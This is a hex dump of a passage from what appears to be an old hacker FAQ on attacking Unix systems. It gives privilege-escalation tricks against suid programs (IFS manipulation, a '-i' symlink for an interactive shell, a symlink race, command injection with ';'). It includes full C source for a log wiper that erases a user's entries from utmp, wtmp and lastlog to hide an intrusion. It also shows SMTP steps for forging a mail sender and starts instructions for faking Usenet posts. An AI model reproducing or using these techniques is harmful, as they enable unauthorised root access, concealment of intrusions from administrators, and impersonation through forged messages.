|000032b0| 72 6f 67 72 61 6d 73 20 | 75 73 69 6e 67 20 74 68 |rograms |using th|
|000032c0| 65 20 73 79 73 74 65 6d | 28 29 20 66 75 6e 63 74 |e system|() funct|
|000032d0| 69 6f 6e 0a 63 61 6c 6c | 2c 20 79 6f 75 20 6d 61 |ion.call|, you ma|
|000032e0| 79 20 62 65 20 61 62 6c | 65 20 74 6f 20 66 6f 6f |y be abl|e to foo|
|000032f0| 6c 20 69 74 20 62 79 20 | 63 68 61 6e 67 69 6e 67 |l it by |changing|
|00003300| 20 49 46 53 2e 20 20 49 | 46 53 20 69 73 20 74 68 | IFS. I|FS is th|
|00003310| 65 20 49 6e 74 65 72 6e | 61 6c 0a 46 69 65 6c 64 |e Intern|al.Field|
|00003320| 20 53 65 70 61 72 61 74 | 6f 72 20 74 68 61 74 20 | Separat|or that |
|00003330| 74 68 65 20 73 68 65 6c | 6c 20 75 73 65 73 20 74 |the shel|l uses t|
|00003340| 6f 20 64 65 6c 69 6d 69 | 74 20 61 72 67 75 6d 65 |o delimi|t argume|
|00003350| 6e 74 73 2e 0a 0a 49 66 | 20 74 68 65 20 70 72 6f |nts...If| the pro|
|00003360| 67 72 61 6d 20 63 6f 6e | 74 61 69 6e 73 20 61 20 |gram con|tains a |
|00003370| 6c 69 6e 65 20 74 68 61 | 74 20 6c 6f 6f 6b 73 20 |line tha|t looks |
|00003380| 6c 69 6b 65 20 74 68 69 | 73 3a 0a 0a 73 79 73 74 |like thi|s:..syst|
|00003390| 65 6d 28 22 2f 62 69 6e | 2f 64 61 74 65 22 29 0a |em("/bin|/date").|
|000033a0| 0a 61 6e 64 20 79 6f 75 | 20 63 68 61 6e 67 65 20 |.and you| change |
|000033b0| 49 46 53 20 74 6f 20 27 | 2f 27 20 74 68 65 20 73 |IFS to '|/' the s|
|000033c0| 68 65 6c 6c 20 77 69 6c | 6c 20 74 68 65 6d 20 69 |hell wil|l them i|
|000033d0| 6e 74 65 72 70 72 65 74 | 20 74 68 65 0a 70 72 6f |nterpret| the.pro|
|000033e0| 63 65 65 64 69 6e 67 20 | 6c 69 6e 65 20 61 73 3a |ceeding |line as:|
|000033f0| 0a 0a 62 69 6e 20 64 61 | 74 65 0a 0a 4e 6f 77 2c |..bin da|te..Now,|
|00003400| 20 69 66 20 79 6f 75 20 | 68 61 76 65 20 61 20 70 | if you |have a p|
|00003410| 72 6f 67 72 61 6d 20 6f | 66 20 79 6f 75 72 20 6f |rogram o|f your o|
|00003420| 77 6e 20 69 6e 20 74 68 | 65 20 70 61 74 68 20 63 |wn in th|e path c|
|00003430| 61 6c 6c 65 64 20 22 62 | 69 6e 22 20 74 68 65 0a |alled "b|in" the.|
|00003440| 73 75 69 64 20 70 72 6f | 67 72 61 6d 20 77 69 6c |suid pro|gram wil|
|00003450| 6c 20 72 75 6e 20 79 6f | 75 72 20 70 72 6f 67 72 |l run yo|ur progr|
|00003460| 61 6d 20 69 6e 73 74 65 | 61 64 20 6f 66 20 2f 62 |am inste|ad of /b|
|00003470| 69 6e 2f 64 61 74 65 2e | 0a 0a 54 6f 20 63 68 61 |in/date.|..To cha|
|00003480| 6e 67 65 20 49 46 53 2c | 20 75 73 65 20 74 68 69 |nge IFS,| use thi|
|00003490| 73 20 63 6f 6d 6d 61 6e | 64 3a 0a 0a 49 46 53 3d |s comman|d:..IFS=|
|000034a0| 27 2f 27 3b 65 78 70 6f | 72 74 20 49 46 53 20 20 |'/';expo|rt IFS |
|000034b0| 20 20 20 20 23 20 42 6f | 75 72 6e 65 20 53 68 65 | # Bo|urne She|
|000034c0| 6c 6c 0a 73 65 74 65 6e | 76 20 49 46 53 20 27 2f |ll.seten|v IFS '/|
|000034d0| 27 20 20 20 20 20 20 20 | 20 20 20 23 20 43 20 53 |' | # C S|
|000034e0| 68 65 6c 6c 0a 65 78 70 | 6f 72 74 20 49 46 53 3d |hell.exp|ort IFS=|
|000034f0| 27 2f 27 20 20 20 20 20 | 20 20 20 20 20 23 20 4b |'/' | # K|
|00003500| 6f 72 6e 20 53 68 65 6c | 6c 0a 0a 0a 32 2e 20 6c |orn Shel|l...2. l|
|00003510| 69 6e 6b 20 74 68 65 20 | 73 63 72 69 70 74 20 74 |ink the |script t|
|00003520| 6f 20 2d 69 0a 0a 43 72 | 65 61 74 65 20 61 20 73 |o -i..Cr|eate a s|
|00003530| 79 6d 62 6f 6c 69 63 20 | 6c 69 6e 6b 20 6e 61 6d |ymbolic |link nam|
|00003540| 65 64 20 22 2d 69 22 20 | 74 6f 20 74 68 65 20 70 |ed "-i" |to the p|
|00003550| 72 6f 67 72 61 6d 2e 20 | 20 52 75 6e 6e 69 6e 67 |rogram. | Running|
|00003560| 20 22 2d 69 22 0a 77 69 | 6c 6c 20 63 61 75 73 65 | "-i".wi|ll cause|
|00003570| 20 74 68 65 20 69 6e 74 | 65 72 70 72 65 74 65 72 | the int|erpreter|
|00003580| 20 73 68 65 6c 6c 20 28 | 2f 62 69 6e 2f 73 68 29 | shell (|/bin/sh)|
|00003590| 20 74 6f 20 73 74 61 72 | 74 20 75 70 20 69 6e 20 | to star|t up in |
|000035a0| 69 6e 74 65 72 61 63 74 | 69 76 65 0a 6d 6f 64 65 |interact|ive.mode|
|000035b0| 2e 20 20 54 68 69 73 20 | 6f 6e 6c 79 20 77 6f 72 |. This |only wor|
|000035c0| 6b 73 20 6f 6e 20 73 75 | 69 64 20 73 68 65 6c 6c |ks on su|id shell|
|000035d0| 20 73 63 72 69 70 74 73 | 2e 0a 0a 45 78 61 6d 70 | scripts|...Examp|
|000035e0| 6c 65 3a 0a 0a 25 20 6c | 6e 20 73 75 69 64 2e 73 |le:..% l|n suid.s|
|000035f0| 68 20 2d 69 0a 25 20 2d | 69 0a 23 0a 0a 0a 33 2e |h -i.% -|i.#...3.|
|00003600| 20 45 78 70 6c 6f 69 74 | 20 61 20 72 61 63 65 20 | Exploit| a race |
|00003610| 63 6f 6e 64 69 74 69 6f | 6e 0a 0a 52 65 70 6c 61 |conditio|n..Repla|
|00003620| 63 65 20 61 20 73 79 6d | 62 6f 6c 69 63 20 6c 69 |ce a sym|bolic li|
|00003630| 6e 6b 20 74 6f 20 74 68 | 65 20 70 72 6f 67 72 61 |nk to th|e progra|
|00003640| 6d 20 77 69 74 68 20 61 | 6e 6f 74 68 65 72 20 70 |m with a|nother p|
|00003650| 72 6f 67 72 61 6d 20 77 | 68 69 6c 65 20 74 68 65 |rogram w|hile the|
|00003660| 0a 6b 65 72 6e 65 6c 20 | 69 73 20 6c 6f 61 64 69 |.kernel |is loadi|
|00003670| 6e 67 20 2f 62 69 6e 2f | 73 68 2e 0a 0a 45 78 61 |ng /bin/|sh...Exa|
|00003680| 6d 70 6c 65 3a 0a 0a 6e | 69 63 65 20 2d 31 39 20 |mple:..n|ice -19 |
|00003690| 73 75 69 64 70 72 6f 67 | 20 3b 20 6c 6e 20 2d 73 |suidprog| ; ln -s|
|000036a0| 20 65 76 69 6c 70 72 6f | 67 20 73 75 69 64 72 6f | evilpro|g suidro|
|000036b0| 6f 74 0a 0a 0a 34 2e 20 | 53 65 6e 64 20 62 61 64 |ot...4. |Send bad|
|000036c0| 20 69 6e 70 75 74 20 74 | 6f 20 74 68 65 20 70 72 | input t|o the pr|
|000036d0| 6f 67 72 61 6d 2e 0a 0a | 49 6e 76 6f 6b 65 20 74 |ogram...|Invoke t|
|000036e0| 68 65 20 6e 61 6d 65 20 | 6f 66 20 74 68 65 20 70 |he name |of the p|
|000036f0| 72 6f 67 72 61 6d 20 61 | 6e 64 20 61 20 73 65 70 |rogram a|nd a sep|
|00003700| 61 72 61 74 65 20 63 6f | 6d 6d 61 6e 64 20 6f 6e |arate co|mmand on|
|00003710| 20 74 68 65 20 73 61 6d | 65 0a 63 6f 6d 6d 61 6e | the sam|e.comman|
|00003720| 64 20 6c 69 6e 65 2e 0a | 0a 45 78 61 6d 70 6c 65 |d line..|.Example|
|00003730| 3a 0a 0a 73 75 69 64 70 | 72 6f 67 20 3b 20 69 64 |:..suidp|rog ; id|
|00003740| 0a 0a 0a 31 31 2e 20 48 | 6f 77 20 64 6f 20 49 20 |...11. H|ow do I |
|00003750| 65 72 61 73 65 20 6d 79 | 20 70 72 65 73 65 6e 63 |erase my| presenc|
|00003760| 65 20 66 72 6f 6d 20 74 | 68 65 20 73 79 73 74 65 |e from t|he syste|
|00003770| 6d 20 6c 6f 67 73 3f 0a | 0a 45 64 69 74 20 2f 65 |m logs?.|.Edit /e|
|00003780| 74 63 2f 75 74 6d 70 2c | 20 2f 75 73 72 2f 61 64 |tc/utmp,| /usr/ad|
|00003790| 6d 2f 77 74 6d 70 20 61 | 6e 64 20 2f 75 73 72 2f |m/wtmp a|nd /usr/|
|000037a0| 61 64 6d 2f 6c 61 73 74 | 6c 6f 67 2e 20 54 68 65 |adm/last|log. The|
|000037b0| 73 65 20 61 72 65 20 6e | 6f 74 20 74 65 78 74 0a |se are n|ot text.|
|000037c0| 66 69 6c 65 73 20 74 68 | 61 74 20 63 61 6e 20 62 |files th|at can b|
|000037d0| 65 20 65 64 69 74 65 64 | 20 62 79 20 68 61 6e 64 |e edited| by hand|
|000037e0| 20 77 69 74 68 20 76 69 | 2c 20 79 6f 75 20 6d 75 | with vi|, you mu|
|000037f0| 73 74 20 75 73 65 20 61 | 20 70 72 6f 67 72 61 6d |st use a| program|
|00003800| 0a 73 70 65 63 69 66 69 | 63 61 6c 6c 79 20 77 72 |.specifi|cally wr|
|00003810| 69 74 74 65 6e 20 66 6f | 72 20 74 68 69 73 20 70 |itten fo|r this p|
|00003820| 75 72 70 6f 73 65 2e 0a | 0a 45 78 61 6d 70 6c 65 |urpose..|.Example|
|00003830| 3a 0a 0a 23 69 6e 63 6c | 75 64 65 20 3c 73 79 73 |:..#incl|ude <sys|
|00003840| 2f 74 79 70 65 73 2e 68 | 3e 0a 23 69 6e 63 6c 75 |/types.h|>.#inclu|
|00003850| 64 65 20 3c 73 74 64 69 | 6f 2e 68 3e 0a 23 69 6e |de <stdi|o.h>.#in|
|00003860| 63 6c 75 64 65 20 3c 75 | 6e 69 73 74 64 2e 68 3e |clude <u|nistd.h>|
|00003870| 0a 23 69 6e 63 6c 75 64 | 65 20 3c 73 79 73 2f 66 |.#includ|e <sys/f|
|00003880| 69 6c 65 2e 68 3e 0a 23 | 69 6e 63 6c 75 64 65 20 |ile.h>.#|include |
|00003890| 3c 66 63 6e 74 6c 2e 68 | 3e 0a 23 69 6e 63 6c 75 |<fcntl.h|>.#inclu|
|000038a0| 64 65 20 3c 75 74 6d 70 | 2e 68 3e 0a 23 69 6e 63 |de <utmp|.h>.#inc|
|000038b0| 6c 75 64 65 20 3c 70 77 | 64 2e 68 3e 0a 23 69 6e |lude <pw|d.h>.#in|
|000038c0| 63 6c 75 64 65 20 3c 6c | 61 73 74 6c 6f 67 2e 68 |clude <l|astlog.h|
|000038d0| 3e 0a 23 64 65 66 69 6e | 65 20 57 54 4d 50 5f 4e |>.#defin|e WTMP_N|
|000038e0| 41 4d 45 20 22 2f 75 73 | 72 2f 61 64 6d 2f 77 74 |AME "/us|r/adm/wt|
|000038f0| 6d 70 22 0a 23 64 65 66 | 69 6e 65 20 55 54 4d 50 |mp".#def|ine UTMP|
|00003900| 5f 4e 41 4d 45 20 22 2f | 65 74 63 2f 75 74 6d 70 |_NAME "/|etc/utmp|
|00003910| 22 0a 23 64 65 66 69 6e | 65 20 4c 41 53 54 4c 4f |".#defin|e LASTLO|
|00003920| 47 5f 4e 41 4d 45 20 22 | 2f 75 73 72 2f 61 64 6d |G_NAME "|/usr/adm|
|00003930| 2f 6c 61 73 74 6c 6f 67 | 22 0a 20 0a 69 6e 74 20 |/lastlog|". .int |
|00003940| 66 3b 0a 20 0a 76 6f 69 | 64 20 6b 69 6c 6c 5f 75 |f;. .voi|d kill_u|
|00003950| 74 6d 70 28 77 68 6f 29 | 0a 63 68 61 72 20 2a 77 |tmp(who)|.char *w|
|00003960| 68 6f 3b 0a 7b 0a 20 20 | 20 20 73 74 72 75 63 74 |ho;.{. | struct|
|00003970| 20 75 74 6d 70 20 75 74 | 6d 70 5f 65 6e 74 3b 0a | utmp ut|mp_ent;.|
|00003980| 20 0a 20 20 69 66 20 28 | 28 66 3d 6f 70 65 6e 28 | . if (|(f=open(|
|00003990| 55 54 4d 50 5f 4e 41 4d | 45 2c 4f 5f 52 44 57 52 |UTMP_NAM|E,O_RDWR|
|000039a0| 29 29 3e 3d 30 29 20 7b | 0a 20 20 20 20 20 77 68 |))>=0) {|. wh|
|000039b0| 69 6c 65 28 72 65 61 64 | 20 28 66 2c 20 26 75 74 |ile(read| (f, &ut|
|000039c0| 6d 70 5f 65 6e 74 2c 20 | 73 69 7a 65 6f 66 20 28 |mp_ent, |sizeof (|
|000039d0| 75 74 6d 70 5f 65 6e 74 | 29 29 3e 20 30 20 29 0a |utmp_ent|))> 0 ).|
|000039e0| 20 20 20 20 20 20 20 69 | 66 20 28 21 73 74 72 6e | i|f (!strn|
|000039f0| 63 6d 70 28 75 74 6d 70 | 5f 65 6e 74 2e 75 74 5f |cmp(utmp|_ent.ut_|
|00003a00| 6e 61 6d 65 2c 77 68 6f | 2c 73 74 72 6c 65 6e 28 |name,who|,strlen(|
|00003a10| 77 68 6f 29 29 29 20 7b | 0a 20 20 20 20 20 20 20 |who))) {|. |
|00003a20| 20 20 20 20 20 20 20 20 | 20 20 62 7a 65 72 6f 28 | | bzero(|
|00003a30| 28 63 68 61 72 20 2a 29 | 26 75 74 6d 70 5f 65 6e |(char *)|&utmp_en|
|00003a40| 74 2c 73 69 7a 65 6f 66 | 28 20 75 74 6d 70 5f 65 |t,sizeof|( utmp_e|
|00003a50| 6e 74 20 29 29 3b 0a 20 | 20 20 20 20 20 20 20 20 |nt ));. | |
|00003a60| 20 20 20 20 20 20 20 20 | 6c 73 65 65 6b 20 28 66 | |lseek (f|
|00003a70| 2c 20 2d 28 73 69 7a 65 | 6f 66 20 28 75 74 6d 70 |, -(size|of (utmp|
|00003a80| 5f 65 6e 74 29 29 2c 20 | 53 45 45 4b 5f 43 55 52 |_ent)), |SEEK_CUR|
|00003a90| 29 3b 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |);. | |
|00003aa0| 20 20 20 20 77 72 69 74 | 65 20 28 66 2c 20 26 75 | writ|e (f, &u|
|00003ab0| 74 6d 70 5f 65 6e 74 2c | 20 73 69 7a 65 6f 66 20 |tmp_ent,| sizeof |
|00003ac0| 28 75 74 6d 70 5f 65 6e | 74 29 29 3b 0a 20 20 20 |(utmp_en|t));. |
|00003ad0| 20 20 20 20 20 20 20 20 | 20 7d 0a 20 20 20 20 20 | | }. |
|00003ae0| 63 6c 6f 73 65 28 66 29 | 3b 0a 20 20 7d 0a 7d 0a |close(f)|;. }.}.|
|00003af0| 20 0a 76 6f 69 64 20 6b | 69 6c 6c 5f 77 74 6d 70 | .void k|ill_wtmp|
|00003b00| 28 77 68 6f 29 0a 63 68 | 61 72 20 2a 77 68 6f 3b |(who).ch|ar *who;|
|00003b10| 0a 7b 0a 20 20 20 20 73 | 74 72 75 63 74 20 75 74 |.{. s|truct ut|
|00003b20| 6d 70 20 75 74 6d 70 5f | 65 6e 74 3b 0a 20 20 20 |mp utmp_|ent;. |
|00003b30| 20 6c 6f 6e 67 20 70 6f | 73 3b 0a 20 0a 20 20 20 | long po|s;. . |
|00003b40| 20 70 6f 73 20 3d 20 31 | 4c 3b 0a 20 20 20 20 69 | pos = 1|L;. i|
|00003b50| 66 20 28 28 66 3d 6f 70 | 65 6e 28 57 54 4d 50 5f |f ((f=op|en(WTMP_|
|00003b60| 4e 41 4d 45 2c 4f 5f 52 | 44 57 52 29 29 3e 3d 30 |NAME,O_R|DWR))>=0|
|00003b70| 29 20 7b 0a 20 0a 20 20 | 20 20 20 77 68 69 6c 65 |) {. . | while|
|00003b80| 28 70 6f 73 20 21 3d 20 | 2d 31 4c 29 20 7b 0a 20 |(pos != |-1L) {. |
|00003b90| 20 20 20 20 20 20 20 6c | 73 65 65 6b 28 66 2c 2d | l|seek(f,-|
|00003ba0| 28 6c 6f 6e 67 29 28 20 | 28 73 69 7a 65 6f 66 28 |(long)( |(sizeof(|
|00003bb0| 73 74 72 75 63 74 20 75 | 74 6d 70 29 29 20 2a 20 |struct u|tmp)) * |
|00003bc0| 70 6f 73 29 2c 4c 5f 58 | 54 4e 44 29 3b 0a 20 20 |pos),L_X|TND);. |
|00003bd0| 20 20 20 20 20 20 69 66 | 20 28 72 65 61 64 20 28 | if| (read (|
|00003be0| 66 2c 20 26 75 74 6d 70 | 5f 65 6e 74 2c 20 73 69 |f, &utmp|_ent, si|
|00003bf0| 7a 65 6f 66 20 28 73 74 | 72 75 63 74 20 75 74 6d |zeof (st|ruct utm|
|00003c00| 70 29 29 3c 30 29 20 7b | 0a 20 20 20 20 20 20 20 |p))<0) {|. |
|00003c10| 20 20 20 70 6f 73 20 3d | 20 2d 31 4c 3b 0a 20 20 | pos =| -1L;. |
|00003c20| 20 20 20 20 20 20 7d 20 | 65 6c 73 65 20 7b 0a 20 | } |else {. |
|00003c30| 20 20 20 20 20 20 20 20 | 20 69 66 20 28 21 73 74 | | if (!st|
|00003c40| 72 6e 63 6d 70 28 75 74 | 6d 70 5f 65 6e 74 2e 75 |rncmp(ut|mp_ent.u|
|00003c50| 74 5f 6e 61 6d 65 2c 77 | 68 6f 2c 73 74 72 6c 65 |t_name,w|ho,strle|
|00003c60| 6e 28 77 68 6f 29 29 29 | 20 7b 0a 20 20 20 20 20 |n(who)))| {. |
|00003c70| 20 20 20 20 20 20 20 20 | 20 20 62 7a 65 72 6f 28 | | bzero(|
|00003c80| 28 63 68 61 72 20 2a 29 | 26 75 74 6d 70 5f 65 6e |(char *)|&utmp_en|
|00003c90| 74 2c 73 69 7a 65 6f 66 | 28 73 74 72 75 63 74 20 |t,sizeof|(struct |
|00003ca0| 75 74 6d 70 20 29 29 3b | 0a 20 20 20 20 20 20 20 |utmp ));|. |
|00003cb0| 20 20 20 20 20 20 20 20 | 6c 73 65 65 6b 28 66 2c | |lseek(f,|
|00003cc0| 2d 28 20 28 73 69 7a 65 | 6f 66 28 73 74 72 75 63 |-( (size|of(struc|
|00003cd0| 74 20 75 74 6d 70 29 29 | 20 2a 20 70 6f 73 29 2c |t utmp))| * pos),|
|00003ce0| 4c 5f 58 54 4e 44 29 3b | 0a 20 20 20 20 20 20 20 |L_XTND);|. |
|00003cf0| 20 20 20 20 20 20 20 20 | 77 72 69 74 65 20 28 66 | |write (f|
|00003d00| 2c 20 26 75 74 6d 70 5f | 65 6e 74 2c 20 73 69 7a |, &utmp_|ent, siz|
|00003d10| 65 6f 66 20 28 75 74 6d | 70 5f 65 6e 74 29 29 3b |eof (utm|p_ent));|
|00003d20| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00003d30| 70 6f 73 20 3d 20 2d 31 | 4c 3b 0a 20 20 20 20 20 |pos = -1|L;. |
|00003d40| 20 20 20 20 20 7d 20 65 | 6c 73 65 20 70 6f 73 20 | } e|lse pos |
|00003d50| 2b 3d 20 31 4c 3b 0a 20 | 20 20 20 20 20 20 20 7d |+= 1L;. | }|
|00003d60| 0a 20 20 20 20 20 7d 0a | 20 20 20 20 20 63 6c 6f |. }.| clo|
|00003d70| 73 65 28 66 29 3b 0a 20 | 20 7d 0a 7d 0a 20 0a 76 |se(f);. | }.}. .v|
|00003d80| 6f 69 64 20 6b 69 6c 6c | 5f 6c 61 73 74 6c 6f 67 |oid kill|_lastlog|
|00003d90| 28 77 68 6f 29 0a 63 68 | 61 72 20 2a 77 68 6f 3b |(who).ch|ar *who;|
|00003da0| 0a 7b 0a 20 20 20 20 73 | 74 72 75 63 74 20 70 61 |.{. s|truct pa|
|00003db0| 73 73 77 64 20 2a 70 77 | 64 3b 0a 20 20 20 20 73 |sswd *pw|d;. s|
|00003dc0| 74 72 75 63 74 20 6c 61 | 73 74 6c 6f 67 20 6e 65 |truct la|stlog ne|
|00003dd0| 77 6c 6c 3b 0a 20 0a 20 | 20 20 20 20 69 66 20 28 |wll;. . | if (|
|00003de0| 28 70 77 64 3d 67 65 74 | 70 77 6e 61 6d 28 77 68 |(pwd=get|pwnam(wh|
|00003df0| 6f 29 29 21 3d 4e 55 4c | 4c 29 20 7b 0a 20 0a 20 |o))!=NUL|L) {. . |
|00003e00| 20 20 20 20 20 20 20 69 | 66 20 28 28 66 3d 6f 70 | i|f ((f=op|
|00003e10| 65 6e 28 4c 41 53 54 4c | 4f 47 5f 4e 41 4d 45 2c |en(LASTL|OG_NAME,|
|00003e20| 20 4f 5f 52 44 57 52 29 | 29 20 3e 3d 20 30 29 20 | O_RDWR)|) >= 0) |
|00003e30| 7b 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 6c 73 |{. | ls|
|00003e40| 65 65 6b 28 66 2c 20 28 | 6c 6f 6e 67 29 70 77 64 |eek(f, (|long)pwd|
|00003e50| 2d 3e 70 77 5f 75 69 64 | 20 2a 20 73 69 7a 65 6f |->pw_uid| * sizeo|
|00003e60| 66 20 28 73 74 72 75 63 | 74 20 6c 61 73 74 6c 6f |f (struc|t lastlo|
|00003e70| 67 29 2c 20 30 29 3b 0a | 20 20 20 20 20 20 20 20 |g), 0);.| |
|00003e80| 20 20 20 20 62 7a 65 72 | 6f 28 28 63 68 61 72 20 | bzer|o((char |
|00003e90| 2a 29 26 6e 65 77 6c 6c | 2c 73 69 7a 65 6f 66 28 |*)&newll|,sizeof(|
|00003ea0| 20 6e 65 77 6c 6c 20 29 | 29 3b 0a 20 20 20 20 20 | newll )|);. |
|00003eb0| 20 20 20 20 20 20 20 77 | 72 69 74 65 28 66 2c 20 | w|rite(f, |
|00003ec0| 28 63 68 61 72 20 2a 29 | 26 6e 65 77 6c 6c 2c 20 |(char *)|&newll, |
|00003ed0| 73 69 7a 65 6f 66 28 20 | 6e 65 77 6c 6c 20 29 29 |sizeof( |newll ))|
|00003ee0| 3b 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 63 6c |;. | cl|
|00003ef0| 6f 73 65 28 66 29 3b 0a | 20 20 20 20 20 20 20 20 |ose(f);.| |
|00003f00| 7d 0a 20 0a 20 20 20 20 | 7d 20 65 6c 73 65 20 70 |}. . |} else p|
|00003f10| 72 69 6e 74 66 28 22 25 | 73 3a 20 3f 5c 6e 22 2c |rintf("%|s: ?\n",|
|00003f20| 77 68 6f 29 3b 0a 7d 0a | 20 0a 6d 61 69 6e 28 61 |who);.}.| .main(a|
|00003f30| 72 67 63 2c 61 72 67 76 | 29 0a 69 6e 74 20 61 72 |rgc,argv|).int ar|
|00003f40| 67 63 3b 0a 63 68 61 72 | 20 2a 61 72 67 76 5b 5d |gc;.char| *argv[]|
|00003f50| 3b 0a 7b 0a 20 20 20 20 | 69 66 20 28 61 72 67 63 |;.{. |if (argc|
|00003f60| 3d 3d 32 29 20 7b 0a 20 | 20 20 20 20 20 20 20 6b |==2) {. | k|
|00003f70| 69 6c 6c 5f 6c 61 73 74 | 6c 6f 67 28 61 72 67 76 |ill_last|log(argv|
|00003f80| 5b 31 5d 29 3b 0a 20 20 | 20 20 20 20 20 20 6b 69 |[1]);. | ki|
|00003f90| 6c 6c 5f 77 74 6d 70 28 | 61 72 67 76 5b 31 5d 29 |ll_wtmp(|argv[1])|
|00003fa0| 3b 0a 20 20 20 20 20 20 | 20 20 6b 69 6c 6c 5f 75 |;. | kill_u|
|00003fb0| 74 6d 70 28 61 72 67 76 | 5b 31 5d 29 3b 0a 20 20 |tmp(argv|[1]);. |
|00003fc0| 20 20 20 20 20 20 70 72 | 69 6e 74 66 28 22 5a 61 | pr|intf("Za|
|00003fd0| 70 32 21 5c 6e 22 29 3b | 0a 20 20 20 20 7d 20 65 |p2!\n");|. } e|
|00003fe0| 6c 73 65 0a 20 20 20 20 | 70 72 69 6e 74 66 28 22 |lse. |printf("|
|00003ff0| 45 72 72 6f 72 2e 5c 6e | 22 29 3b 0a 7d 0a 0a 0a |Error.\n|");.}...|
|00004000| 31 32 2e 20 48 6f 77 20 | 64 6f 20 49 20 73 65 6e |12. How |do I sen|
|00004010| 64 20 66 61 6b 65 6d 61 | 69 6c 3f 0a 0a 54 65 6c |d fakema|il?..Tel|
|00004020| 6e 65 74 20 74 6f 20 70 | 6f 72 74 20 32 35 20 6f |net to p|ort 25 o|
|00004030| 66 20 74 68 65 20 6d 61 | 63 68 69 6e 65 20 79 6f |f the ma|chine yo|
|00004040| 75 20 77 61 6e 74 20 74 | 68 65 20 6d 61 69 6c 20 |u want t|he mail |
|00004050| 74 6f 20 61 70 70 65 61 | 72 20 74 6f 0a 6f 72 69 |to appea|r to.ori|
|00004060| 67 69 6e 61 74 65 20 66 | 72 6f 6d 2e 20 20 45 6e |ginate f|rom. En|
|00004070| 74 65 72 20 79 6f 75 72 | 20 6d 65 73 73 61 67 65 |ter your| message|
|00004080| 20 61 73 20 69 6e 20 74 | 68 69 73 20 65 78 61 6d | as in t|his exam|
|00004090| 70 6c 65 3a 0a 0a 20 48 | 45 4c 4f 20 62 65 6c 6c |ple:.. H|ELO bell|
|000040a0| 63 6f 72 65 2e 63 6f 6d | 0a 20 4d 41 49 4c 20 46 |core.com|. MAIL F|
|000040b0| 52 4f 4d 3a 56 6f 79 61 | 67 65 72 40 62 65 6c 6c |ROM:Voya|ger@bell|
|000040c0| 63 6f 72 65 2e 63 6f 6d | 0a 20 52 43 50 54 20 54 |core.com|. RCPT T|
|000040d0| 4f 3a 70 72 65 73 69 64 | 65 6e 74 40 77 68 69 74 |O:presid|ent@whit|
|000040e0| 65 68 6f 75 73 65 2e 67 | 6f 76 0a 20 44 41 54 41 |ehouse.g|ov. DATA|
|000040f0| 0a 0a 09 50 6c 65 61 73 | 65 20 64 69 73 63 6f 6e |...Pleas|e discon|
|00004100| 74 69 6e 75 65 20 79 6f | 75 72 20 73 69 6c 6c 79 |tinue yo|ur silly|
|00004110| 20 43 6c 69 70 70 65 72 | 20 69 6e 69 74 69 61 74 | Clipper| initiat|
|00004120| 69 76 65 2e 0a 20 2e 0a | 20 51 55 49 54 0a 0a 4f |ive.. ..| QUIT..O|
|00004130| 6e 20 73 79 73 74 65 6d | 73 20 74 68 61 74 20 68 |n system|s that h|
|00004140| 61 76 65 20 52 46 43 20 | 39 33 31 20 69 6d 70 6c |ave RFC |931 impl|
|00004150| 65 6d 65 6e 74 65 64 2c | 20 73 70 6f 6f 66 69 6e |emented,| spoofin|
|00004160| 67 20 79 6f 75 72 20 22 | 4d 41 49 4c 20 46 52 4f |g your "|MAIL FRO|
|00004170| 4d 3a 22 0a 6c 69 6e 65 | 20 77 69 6c 6c 20 6e 6f |M:".line| will no|
|00004180| 74 20 77 6f 72 6b 2e 20 | 20 54 65 73 74 20 62 79 |t work. | Test by|
|00004190| 20 73 65 6e 64 69 6e 67 | 20 79 6f 75 72 73 65 6c | sending| yoursel|
|000041a0| 66 20 66 61 6b 65 6d 61 | 69 6c 20 66 69 72 73 74 |f fakema|il first|
|000041b0| 2e 0a 0a 46 6f 72 20 6d | 6f 72 65 20 69 6e 66 6f |...For m|ore info|
|000041c0| 72 6d 61 74 69 6f 6e 6d | 20 72 65 61 64 20 52 46 |rmationm| read RF|
|000041d0| 43 20 38 32 32 20 22 53 | 74 61 6e 64 61 72 64 20 |C 822 "S|tandard |
|000041e0| 66 6f 72 20 74 68 65 20 | 66 6f 72 6d 61 74 20 6f |for the |format o|
|000041f0| 66 20 41 52 50 41 0a 49 | 6e 74 65 72 6e 65 74 20 |f ARPA.I|nternet |
|00004200| 74 65 78 74 20 6d 65 73 | 73 61 67 65 73 2e 22 0a |text mes|sages.".|
|00004210| 0a 0a 31 33 2e 20 48 6f | 77 20 64 6f 20 49 20 66 |..13. Ho|w do I f|
|00004220| 61 6b 65 20 70 6f 73 74 | 73 20 74 6f 20 55 73 65 |ake post|s to Use|
|00004230| 4e 65 74 3f 0a 0a 55 73 | 65 20 69 6e 65 77 73 20 |Net?..Us|e inews |
|00004240| 74 6f 20 70 6f 73 74 2e | 20 20 47 69 76 65 20 69 |to post.| Give i|
|00004250| 6e 65 77 73 20 74 68 65 | 20 66 6f 6c 6c 6f 77 69 |news the| followi|
|00004260| 6e 67 20 6c 69 6e 65 73 | 3a 0a 0a 20 46 72 6f 6d |ng lines|:.. From|
|00004270| 3a 0a 20 4e 65 77 73 67 | 72 6f 75 70 73 3a 0a 20 |:. Newsg|roups:. |
|00004280| 53 75 62 6a 65 63 74 3a | 0a 20 4d 65 73 73 61 67 |Subject:|. Messag|
|00004290| 65 2d 49 44 3a 0a 20 44 | 61 74 65 3a 0a 20 4f 72 |e-ID:. D|ate:. Or|
|000042a0| 67 61 6e 69 7a 61 74 69 | 6f 6e 3a 0a 0a 46 6f 72 |ganizati|on:..For|
|000042b0| 20 61 20 6d 6f 64 65 72 | 61 74 65 64 20 6e 65 77 | a moder|ated new|
|000042c0| 73 67 72 6f 75 70 2c 20 | 69 6e 65 77 73 20 77 69 |sgroup, |inews wi|
|000042d0| 6c 6c 20 61 6c 73 6f 20 | 72 65 71 75 69 72 65 20 |ll also |require |
|000042e0| 74 68 69 73 20 6c 69 6e | 65 3a 0a 0a 20 41 70 70 |this lin|e:.. App|
|000042f0| 72 6f 76 65 64 3a 0a 0a | 54 68 65 6e 20 61 64 64 |roved:..|Then add|
|00004300| 20 79 6f 75 72 20 70 6f | 73 74 20 61 6e 64 20 74 | your po|st and t|
|00004310| 65 72 6d 69 6e 61 74 65 | 20 77 69 74 68 20 3c 43 |erminate| with <C|
